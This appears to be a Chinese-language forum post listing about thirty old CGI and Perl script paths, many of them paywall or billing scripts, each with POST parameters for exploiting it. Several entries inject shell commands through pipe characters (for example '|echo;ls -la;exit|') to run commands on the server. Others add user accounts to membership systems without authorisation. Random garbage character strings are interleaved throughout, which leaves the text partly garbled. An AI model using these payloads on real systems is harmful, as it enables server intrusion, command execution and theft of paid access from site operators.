Cgi-bin 30个漏洞＋使用方法

admin

==============================
7 O, s  U* }- J4 G* V) A
/smspass.pl
, G7 U$ t$ Q  T. U# {- j: S5 K0 husername=username&password=password

; H8 b$ g& z0 k% t# m6 Z5 i1 T/index.cgi
wei=ren&gen=command

+ Y& B- ]3 u; Y& f( S/passmaster.cgi
Action=Add&Username=Username&Password=Password

, U' z: b- `) v8 o8 C- `: n/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
2 ?: t. g6 x% q: k
/form.cgi
2 s- C- y2 k* s5 R7 `name=xxxx&email=email&subject=xxxx&response=|echo;ls|

/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
( t7 ?: R9 N9 v: E0 t4 Z6 Z1 Iuser=username&pass=Password&confirm=Password

" [* q. Z' Q- _/ @/ccbill-local.asp
post_values=username:password
: x! B: D& E; h; G
/count.cgi
pinfile=|echo;ls -la;exit|
- ~! e7 K% Y9 z) u. ~' E! Y
/recon.cgi
8 M  j9 n3 R, E7 r. ?% r/recon.cgi?search
$ b1 I" I7 Z& lsearchoption=1&searchfor=|echo;ls -al;exit|
( n7 u( Y2 G& T7 J2 I  ]% {
/verotelrum.pl
; p! u" g% r; o' M3 D' Mvercode=username:password:dseegsow:add:amount<&30>
, q2 s! l  V7 t8 v% G5 s4 S! f
/af.cgi
4 j+ a: W+ ?  ]' A2 R+ K/ a_browser_out=|echo;ls -la;exit;|

/modify.cgi
username=username&password=password&expire=30
4 _5 M& f$ i+ ]7 U6 L! b
/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|

0 K* y$ O' {" r1 \/gx9passwd.cgi
! Q6 U" w5 _$ h9 ]cmd=ADD&user=username&pass=password

- L4 g+ k& U9 a9 c+ U* K/probecontrol.cgi
command=enable&username=username&password=password

/recon.cgi
% b. S' Z+ f8 \! P3 Ksearchoption=3&searchfor=echo;ls -la;exit

8 I& j* v5 L; G" @/htadd.pl
5 ~9 d% v! ~9 ?# J# n) Vconfigfile=|echo; ls -alt; exit

( z' J2 ^& i9 c! }% c/ H# r* _1 i/gx9passwd.cgi
* m9 t0 Z" G9 B% Z! j& T' Bcmd=ADD&user=username&pass=password

5 J5 X. D& l- M& z& I/ibill*.pl
- Z3 J4 V5 E) o0 U9 z* o" t# ^' A" wreqtype=add&authpwd=authpwd&username=username&password=password

/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)

/globill_ut.cgi
* j0 l/ Y3 M; @2 ?( Xdo=add&username=username&password=password&wpassword=password
! p; u: Y3 l! h7 {
3 c1 x! a; x# e; Y/usercontrol.cgi
1 S$ X& R& I' ucommand=enable&username=USER&password=PASS
, X  \, V% ]* m+ g
/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password
% q& @" G* E9 B* y# Q. c
% F8 k4 T( }/ ~) N5 X# f! |/addusr.pl
' ?' V4 g" p% y; Z3 Ouser=USER&pass=PASS&confirm=PASS

: t- _8 x; t! M/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
, P7 R4 @& D3 |% f; Dpinfile=|echo;pwd;exit|
4 x! N' x0 j4 v$ y0 R
- y+ `3 I4 S3 ?" D( N( O/accountcreate.cgi
- \7 v. U' @; V  G/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit

/af.cgi
9 u$ U7 O: s) L' \5 ?" C8 p# a  q/env.cgi
ADD+;echo;pwd;exit
' n8 f" x' t4 {
/count.cgi
" c# K, |, e7 @! Gpinfile=|echo;pwd;exit|

0 C6 U' \: \. ~7 g# x6 Q/recon.cgi
" W& O* U' j* _( psearchoption=1&searchfor=|echo;ls%20-al;exit|

, i+ F' j3 c/ {( V# ^/add.cgi
9 i4 J& u8 U5 b% Jusername=username&password=password&expire=30
" q( S+ I- z/ O
==============================
" H; r# ]) P& Q% R8 m* P